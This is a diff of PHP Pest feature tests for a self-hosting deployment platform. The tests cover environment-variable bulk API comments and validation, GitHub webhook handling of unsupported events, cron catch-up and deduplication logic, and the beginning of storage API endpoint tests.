+ session(['currentTeam' => $this->team]);
+
+ $this->token = $this->user->createToken('test-token', ['*']);
+ $this->bearerToken = $this->token->plainTextToken;
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+ $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+describe('PATCH /api/v1/applications/{uuid}/envs/bulk', function () {
+ test('creates environment variables with comments', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
+ 'data' => [
+ [
+ 'key' => 'DB_HOST',
+ 'value' => 'localhost',
+ 'comment' => 'Database host for production',
+ ],
+ [
+ 'key' => 'DB_PORT',
+ 'value' => '5432',
+ ],
+ ],
+ ]);
+
+ $response->assertStatus(201);
+
+ $envWithComment = EnvironmentVariable::where('key', 'DB_HOST')
+ ->where('resourceable_id', $application->id)
+ ->where('is_preview', false)
+ ->first();
+
+ $envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT')
+ ->where('resourceable_id', $application->id)
+ ->where('is_preview', false)
+ ->first();
+
+ expect($envWithComment->comment)->toBe('Database host for production');
+ expect($envWithoutComment->comment)->toBeNull();
+ });
+
+ test('updates existing environment variable comment', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ EnvironmentVariable::create([
+ 'key' => 'API_KEY',
+ 'value' => 'old-key',
+ 'comment' => 'Old comment',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $application->id,
+ 'is_preview' => false,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
+ 'data' => [
+ [
+ 'key' => 'API_KEY',
+ 'value' => 'new-key',
+ 'comment' => 'Updated comment',
+ ],
+ ],
+ ]);
+
+ $response->assertStatus(201);
+
+ $env = EnvironmentVariable::where('key', 'API_KEY')
+ ->where('resourceable_id', $application->id)
+ ->where('is_preview', false)
+ ->first();
+
+ expect($env->value)->toBe('new-key');
+ expect($env->comment)->toBe('Updated comment');
+ });
+
+ test('preserves existing comment when not provided in bulk update', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ EnvironmentVariable::create([
+ 'key' => 'SECRET',
+ 'value' => 'old-secret',
+ 'comment' => 'Keep this comment',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $application->id,
+ 'is_preview' => false,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
+ 'data' => [
+ [
+ 'key' => 'SECRET',
+ 'value' => 'new-secret',
+ ],
+ ],
+ ]);
+
+ $response->assertStatus(201);
+
+ $env = EnvironmentVariable::where('key', 'SECRET')
+ ->where('resourceable_id', $application->id)
+ ->where('is_preview', false)
+ ->first();
+
+ expect($env->value)->toBe('new-secret');
+ expect($env->comment)->toBe('Keep this comment');
+ });
+
+ test('rejects comment exceeding 256 characters', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
+ 'data' => [
+ [
+ 'key' => 'TEST_VAR',
+ 'value' => 'value',
+ 'comment' => str_repeat('a', 257),
+ ],
+ ],
+ ]);
+
+ $response->assertStatus(422);
+ });
+});
+
+describe('PATCH /api/v1/services/{uuid}/envs/bulk', function () {
+ test('creates environment variables with comments', function () {
+ $service = Service::factory()->create([
+ 'server_id' => $this->server->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [
+ 'data' => [
+ [
+ 'key' => 'REDIS_HOST',
+ 'value' => 'redis',
+ 'comment' => 'Redis cache host',
+ ],
+ [
+ 'key' => 'REDIS_PORT',
+ 'value' => '6379',
+ ],
+ ],
+ ]);
+
+ $response->assertStatus(201);
+
+ $envWithComment = EnvironmentVariable::where('key', 'REDIS_HOST')
+ ->where('resourceable_id', $service->id)
+ ->where('resourceable_type', Service::class)
+ ->first();
+
+ $envWithoutComment = EnvironmentVariable::where('key', 'REDIS_PORT')
+ ->where('resourceable_id', $service->id)
+ ->where('resourceable_type', Service::class)
+ ->first();
+
+ expect($envWithComment->comment)->toBe('Redis cache host');
+ expect($envWithoutComment->comment)->toBeNull();
+ });
+
+ test('rejects comment exceeding 256 characters', function () {
+ $service = Service::factory()->create([
+ 'server_id' => $this->server->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [
+ 'data' => [
+ [
+ 'key' => 'TEST_VAR',
+ 'value' => 'value',
+ 'comment' => str_repeat('a', 257),
+ ],
+ ],
+ ]);
+
+ $response->assertStatus(422);
+ });
+});
diff --git a/tests/Feature/EnvironmentVariableUpdateApiTest.php b/tests/Feature/EnvironmentVariableUpdateApiTest.php
index 9c45dc5ae..1ff528bbf 100644
--- a/tests/Feature/EnvironmentVariableUpdateApiTest.php
+++ b/tests/Feature/EnvironmentVariableUpdateApiTest.php
@@ -3,6 +3,7 @@
use App\Models\Application;
use App\Models\Environment;
use App\Models\EnvironmentVariable;
+use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
@@ -14,6 +15,8 @@
uses(RefreshDatabase::class);
beforeEach(function () {
+ InstanceSettings::updateOrCreate(['id' => 0]);
+
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
@@ -24,7 +27,7 @@
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
- $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
+ $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
@@ -117,6 +120,35 @@
$response->assertStatus(422);
});
+
+ test('uses route uuid and ignores uuid in request body', function () {
+ $service = Service::factory()->create([
+ 'server_id' => $this->server->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ EnvironmentVariable::create([
+ 'key' => 'TEST_KEY',
+ 'value' => 'old-value',
+ 'resourceable_type' => Service::class,
+ 'resourceable_id' => $service->id,
+ 'is_preview' => false,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/services/{$service->uuid}/envs", [
+ 'key' => 'TEST_KEY',
+ 'value' => 'new-value',
+ 'uuid' => 'bogus-uuid-from-body',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonFragment(['key' => 'TEST_KEY']);
+ });
});
describe('PATCH /api/v1/applications/{uuid}/envs', function () {
@@ -191,4 +223,32 @@
$response->assertStatus(422);
});
+
+ test('rejects unknown fields in request body', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ EnvironmentVariable::create([
+ 'key' => 'TEST_KEY',
+ 'value' => 'old-value',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $application->id,
+ 'is_preview' => false,
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
+ 'key' => 'TEST_KEY',
+ 'value' => 'new-value',
+ 'uuid' => 'bogus-uuid-from-body',
+ ]);
+
+ $response->assertStatus(422);
+ $response->assertJsonFragment(['uuid' => ['This field is not allowed.']]);
+ });
});
diff --git a/tests/Feature/GenerateApplicationNameTest.php b/tests/Feature/GenerateApplicationNameTest.php
new file mode 100644
index 000000000..3a1c475d3
--- /dev/null
+++ b/tests/Feature/GenerateApplicationNameTest.php
@@ -0,0 +1,22 @@
+toBe('coolify:main-test123');
+ expect($name)->not->toContain('coollabsio');
+});
+
+test('generate_application_name handles repository without owner', function () {
+ $name = generate_application_name('coolify', 'main', 'test123');
+
+ expect($name)->toBe('coolify:main-test123');
+});
+
+test('generate_application_name handles deeply nested repository path', function () {
+ $name = generate_application_name('org/sub/repo-name', 'develop', 'abc456');
+
+ expect($name)->toBe('repo-name:develop-abc456');
+ expect($name)->not->toContain('org');
+ expect($name)->not->toContain('sub');
+});
diff --git a/tests/Feature/GithubWebhookTest.php b/tests/Feature/GithubWebhookTest.php
new file mode 100644
index 000000000..aee5239fb
--- /dev/null
+++ b/tests/Feature/GithubWebhookTest.php
@@ -0,0 +1,70 @@
+postJson('/webhooks/source/github/events/manual', [], [
+ 'X-GitHub-Event' => 'ping',
+ ]);
+
+ $response->assertOk();
+ $response->assertSee('pong');
+ });
+
+ test('unsupported event type returns graceful response instead of 500', function () {
+ $payload = [
+ 'action' => 'published',
+ 'registry_package' => [
+ 'ecosystem' => 'CONTAINER',
+ 'package_type' => 'CONTAINER',
+ 'package_version' => [
+ 'target_commitish' => 'main',
+ ],
+ ],
+ 'repository' => [
+ 'full_name' => 'test-org/test-repo',
+ 'default_branch' => 'main',
+ ],
+ ];
+
+ $response = $this->postJson('/webhooks/source/github/events/manual', $payload, [
+ 'X-GitHub-Event' => 'registry_package',
+ 'X-Hub-Signature-256' => 'sha256=fake',
+ ]);
+
+ $response->assertOk();
+ $response->assertSee('not supported');
+ });
+
+ test('unknown event type returns graceful response', function () {
+ $response = $this->postJson('/webhooks/source/github/events/manual', ['foo' => 'bar'], [
+ 'X-GitHub-Event' => 'some_unknown_event',
+ 'X-Hub-Signature-256' => 'sha256=fake',
+ ]);
+
+ $response->assertOk();
+ $response->assertSee('not supported');
+ });
+});
+
+describe('GitHub Normal Webhook', function () {
+ test('unsupported event type returns graceful response instead of 500', function () {
+ $payload = [
+ 'action' => 'published',
+ 'registry_package' => [
+ 'ecosystem' => 'CONTAINER',
+ ],
+ 'repository' => [
+ 'full_name' => 'test-org/test-repo',
+ ],
+ ];
+
+ $response = $this->postJson('/webhooks/source/github/events', $payload, [
+ 'X-GitHub-Event' => 'registry_package',
+ 'X-GitHub-Hook-Installation-Target-Id' => '12345',
+ 'X-Hub-Signature-256' => 'sha256=fake',
+ ]);
+
+ // Should not be a 500 error - either 200 with "not supported" or "No GitHub App found"
+ $response->assertOk();
+ });
+});
diff --git a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php
index f820c3777..84db743fa 100644
--- a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php
+++ b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php
@@ -1,222 +1,168 @@
getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1');
+ $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:1');
expect($result)->toBeTrue();
});
it('catches delayed job when cache has a baseline from previous run', function () {
- // Simulate a previous dispatch yesterday at 02:00
Cache::put('test-backup:1', Carbon::create(2026, 2, 27, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
- // Freeze time at 02:07 — job was delayed 7 minutes past today's 02:00 cron
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 7, 0, 'UTC'));
- $job = new ScheduledJobManager;
-
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
// isDue() would return false at 02:07, but getPreviousRunDate() = 02:00 today
// lastDispatched = 02:00 yesterday → 02:00 today > yesterday → fires
- $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1');
+ $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:1');
expect($result)->toBeTrue();
});
it('does not double-dispatch on subsequent runs within same cron window', function () {
- // First run at 02:00 — dispatches and sets cache
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- $first = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2');
+ $first = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:2');
expect($first)->toBeTrue();
// Second run at 02:01 — should NOT dispatch (previousDue=02:00, lastDispatched=02:00)
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
- $executionTimeProp->setValue($job, Carbon::now());
- $second = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2');
+ $second = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:2');
expect($second)->toBeFalse();
});
it('fires every_minute cron correctly on consecutive minutes', function () {
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
// Minute 1
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
- $executionTimeProp->setValue($job, Carbon::now());
- $result1 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
- expect($result1)->toBeTrue();
+ expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
// Minute 2
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 1, 0, 'UTC'));
- $executionTimeProp->setValue($job, Carbon::now());
- $result2 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
- expect($result2)->toBeTrue();
+ expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
// Minute 3
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 2, 0, 'UTC'));
- $executionTimeProp->setValue($job, Carbon::now());
- $result3 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
- expect($result3)->toBeTrue();
+ expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
});
it('does not fire non-due jobs on restart when cache is empty', function () {
// Time is 10:00, cron is daily at 02:00 — NOT due right now
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- // Cache is empty (fresh restart) — should NOT fire daily backup at 10:00
- $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4');
+ $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:4');
expect($result)->toBeFalse();
});
it('fires due jobs on restart when cache is empty', function () {
- // Time is exactly 02:00, cron is daily at 02:00 — IS due right now
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- // Cache is empty (fresh restart) — but cron IS due → should fire
- $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4b');
+ $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:4b');
expect($result)->toBeTrue();
});
it('does not dispatch when cron is not due and was not recently due', function () {
- // Time is 10:00, cron is daily at 02:00 — last due was 8 hours ago
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- // previousDue = 02:00, but lastDispatched was set at 02:00 (simulate)
Cache::put('test-backup:5', Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
- $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:5');
+ $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:5');
expect($result)->toBeFalse();
});
it('falls back to isDue when no dedup key is provided', function () {
- // Time is exactly 02:00, cron is "0 2 * * *" — should be due
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
+ expect(shouldRunCronNow('0 2 * * *', 'UTC'))->toBeTrue();
+
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
+ expect(shouldRunCronNow('0 2 * * *', 'UTC'))->toBeFalse();
+});
+
+it('catches delayed docker cleanup when job runs past the cron minute', function () {
+ Cache::put('docker-cleanup:42', Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC')->toIso8601String(), 86400);
+
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 22, 0, 'UTC'));
+
+ // isDue() would return false at :22, but getPreviousRunDate() = :20
+ // lastDispatched = :10 → :20 > :10 → fires
+ $result = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:42');
+
+ expect($result)->toBeTrue();
+});
+
+it('does not double-dispatch docker cleanup within same cron window', function () {
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC'));
+
+ $first = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:99');
+ expect($first)->toBeTrue();
+
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 11, 0, 'UTC'));
+
+ $second = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:99');
+ expect($second)->toBeFalse();
+});
+
+it('seeds cache with previousDue when not due on first run', function () {
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
+
+ $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:1');
+ expect($result)->toBeFalse();
+
+ // Verify cache was seeded with previousDue (02:00 today)
+ $cached = Cache::get('test-seed:1');
+ expect($cached)->not->toBeNull();
+ expect(Carbon::parse($cached)->format('H:i'))->toBe('02:00');
+});
+
+it('catches next occurrence after cache was seeded on non-due first run', function () {
+ // Step 1: 10:00 — not due, but seeds cache with previousDue (02:00 today)
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
+ expect(shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:2'))->toBeFalse();
+
+ // Step 2: Next day at 02:03 — delayed 3 minutes past cron.
+ // previousDue = 02:00 Mar 1, lastDispatched = 02:00 Feb 28 → fires
+ Carbon::setTestNow(Carbon::create(2026, 3, 1, 2, 3, 0, 'UTC'));
+ expect(shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:2'))->toBeTrue();
+});
+
+it('cache survives 29 days with static 30-day TTL', function () {
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
+ shouldRunCronNow('0 2 * * *', 'UTC', 'test-ttl:static');
+ expect(Cache::get('test-ttl:static'))->not->toBeNull();
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- // No dedup key → simple isDue check
- $result = $method->invoke($job, '0 2 * * *', 'UTC');
- expect($result)->toBeTrue();
-
- // At 02:01 without dedup key → isDue returns false
- Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
- $executionTimeProp->setValue($job, Carbon::now());
-
- $result2 = $method->invoke($job, '0 2 * * *', 'UTC');
- expect($result2)->toBeFalse();
+ // 29 days later — cache (30-day TTL) should still exist
+ Carbon::setTestNow(Carbon::create(2026, 3, 29, 0, 0, 0, 'UTC'));
+ expect(Cache::get('test-ttl:static'))->not->toBeNull();
});
it('respects server timezone for cron evaluation', function () {
// UTC time is 22:00 Feb 28, which is 06:00 Mar 1 in Asia/Singapore (+8)
Carbon::setTestNow(Carbon::create(2026, 2, 28, 22, 0, 0, 'UTC'));
- $job = new ScheduledJobManager;
- $reflection = new ReflectionClass($job);
-
- $executionTimeProp = $reflection->getProperty('executionTime');
- $executionTimeProp->setAccessible(true);
- $executionTimeProp->setValue($job, Carbon::now());
-
- $method = $reflection->getMethod('shouldRunNow');
- $method->setAccessible(true);
-
- // Simulate that today's 06:00 UTC run was already dispatched (at 06:00 UTC)
Cache::put('test-backup:7', Carbon::create(2026, 2, 28, 6, 0, 0, 'UTC')->toIso8601String(), 86400);
- // Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → previousDue = 06:00 Mar 1 SGT
- // That's a NEW cron window (Mar 1) that hasn't been dispatched → should fire
- $resultSingapore = $method->invoke($job, '0 6 * * *', 'Asia/Singapore', 'test-backup:6');
- expect($resultSingapore)->toBeTrue();
+ // Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → new window → should fire
+ expect(shouldRunCronNow('0 6 * * *', 'Asia/Singapore', 'test-backup:6'))->toBeTrue();
- // Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28 UTC, already dispatched at 06:00 → should NOT fire
- $resultUtc = $method->invoke($job, '0 6 * * *', 'UTC', 'test-backup:7');
- expect($resultUtc)->toBeFalse();
+ // Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28, already dispatched → should NOT fire
+ expect(shouldRunCronNow('0 6 * * *', 'UTC', 'test-backup:7'))->toBeFalse();
+});
+
+it('passes explicit execution time instead of using Carbon::now()', function () {
+ // Real "now" is irrelevant — we pass an explicit execution time
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 15, 0, 0, 'UTC'));
+
+ $executionTime = Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC');
+ $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-exec-time:1', $executionTime);
+
+ expect($result)->toBeTrue();
});
diff --git a/tests/Feature/ServerManagerJobShouldRunNowTest.php b/tests/Feature/ServerManagerJobShouldRunNowTest.php
new file mode 100644
index 000000000..2743a8650
--- /dev/null
+++ b/tests/Feature/ServerManagerJobShouldRunNowTest.php
@@ -0,0 +1,88 @@
+toIso8601String(), 86400);
+
+ // Job runs 3 minutes late at 00:03
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 3, 0, 'UTC'));
+
+ // isDue() would return false at 00:03, but getPreviousRunDate() = 00:00 today
+ // lastDispatched = yesterday 00:00 → today 00:00 > yesterday → fires
+ $result = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:1');
+
+ expect($result)->toBeTrue();
+});
+
+it('catches delayed weekly patch check when job runs past the cron minute', function () {
+ Cache::put('server-patch-check:1', Carbon::create(2026, 2, 22, 0, 0, 0, 'UTC')->toIso8601String(), 86400);
+
+ // This Sunday at 00:02 — job was delayed 2 minutes (2026-03-01 is a Sunday)
+ Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC'));
+
+ $result = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:1');
+
+ expect($result)->toBeTrue();
+});
+
+it('catches delayed storage check when job runs past the cron minute', function () {
+ Cache::put('server-storage-check:5', Carbon::create(2026, 2, 27, 23, 0, 0, 'UTC')->toIso8601String(), 86400);
+
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 23, 4, 0, 'UTC'));
+
+ $result = shouldRunCronNow('0 23 * * *', 'UTC', 'server-storage-check:5');
+
+ expect($result)->toBeTrue();
+});
+
+it('seeds cache on non-due first run so weekly catch-up works', function () {
+ // Wednesday at 10:00 — weekly cron (Sunday 00:00) is not due
+ Carbon::setTestNow(Carbon::create(2026, 2, 25, 10, 0, 0, 'UTC'));
+
+ $result = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:seed-test');
+ expect($result)->toBeFalse();
+
+ // Verify cache was seeded
+ expect(Cache::get('server-patch-check:seed-test'))->not->toBeNull();
+
+ // Next Sunday at 00:02 — delayed 2 minutes past cron
+ // Catch-up: previousDue = Mar 1 00:00, lastDispatched = Feb 22 → fires
+ Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC'));
+
+ $result2 = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:seed-test');
+ expect($result2)->toBeTrue();
+});
+
+it('daily cron fires after cache seed even when delayed past the minute', function () {
+ // Step 1: 15:00 — not due for midnight cron, but seeds cache
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 15, 0, 0, 'UTC'));
+
+ $result1 = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:seed-test');
+ expect($result1)->toBeFalse();
+
+ // Step 2: Next day at 00:05 — delayed 5 minutes past midnight
+ // Catch-up: previousDue = Mar 1 00:00, lastDispatched = Feb 28 00:00 → fires
+ Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 5, 0, 'UTC'));
+
+ $result2 = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:seed-test');
+ expect($result2)->toBeTrue();
+});
+
+it('does not double-dispatch within same cron window', function () {
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 0, 0, 'UTC'));
+
+ $first = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:10');
+ expect($first)->toBeTrue();
+
+ // Next minute — should NOT dispatch again
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 1, 0, 'UTC'));
+
+ $second = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:10');
+ expect($second)->toBeFalse();
+});
diff --git a/tests/Feature/StorageApiTest.php b/tests/Feature/StorageApiTest.php
new file mode 100644
index 000000000..75357e41e
--- /dev/null
+++ b/tests/Feature/StorageApiTest.php
@@ -0,0 +1,379 @@
+ 0]);
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $plainTextToken = Str::random(40);
+ $token = $this->user->tokens()->create([
+ 'name' => 'test-token',
+ 'token' => hash('sha256', $plainTextToken),
+ 'abilities' => ['*'],
+ 'team_id' => $this->team->id,
+ ]);
+ $this->bearerToken = $token->getKey().'|'.$plainTextToken;
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+ $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+function createTestApplication($context): Application
+{
+ return Application::factory()->create([
+ 'environment_id' => $context->environment->id,
+ ]);
+}
+
+function createTestDatabase($context): StandalonePostgresql
+{
+ return StandalonePostgresql::create([
+ 'name' => 'test-postgres',
+ 'image' => 'postgres:15-alpine',
+ 'postgres_user' => 'postgres',
+ 'postgres_password' => 'password',
+ 'postgres_db' => 'postgres',
+ 'environment_id' => $context->environment->id,
+ 'destination_id' => $context->destination->id,
+ 'destination_type' => $context->destination->getMorphClass(),
+ ]);
+}
+
+// ──────────────────────────────────────────────────────────────
+// Application Storage Endpoints
+// ──────────────────────────────────────────────────────────────
+
+describe('GET /api/v1/applications/{uuid}/storages', function () {
+ test('lists storages for an application', function () {
+ $app = createTestApplication($this);
+
+ LocalPersistentVolume::create([
+ 'name' => $app->uuid.'-test-vol',
+ 'mount_path' => '/data',
+ 'resource_id' => $app->id,
+ 'resource_type' => $app->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ ])->getJson("/api/v1/applications/{$app->uuid}/storages");
+
+ $response->assertStatus(200);
+ $response->assertJsonCount(1, 'persistent_storages');
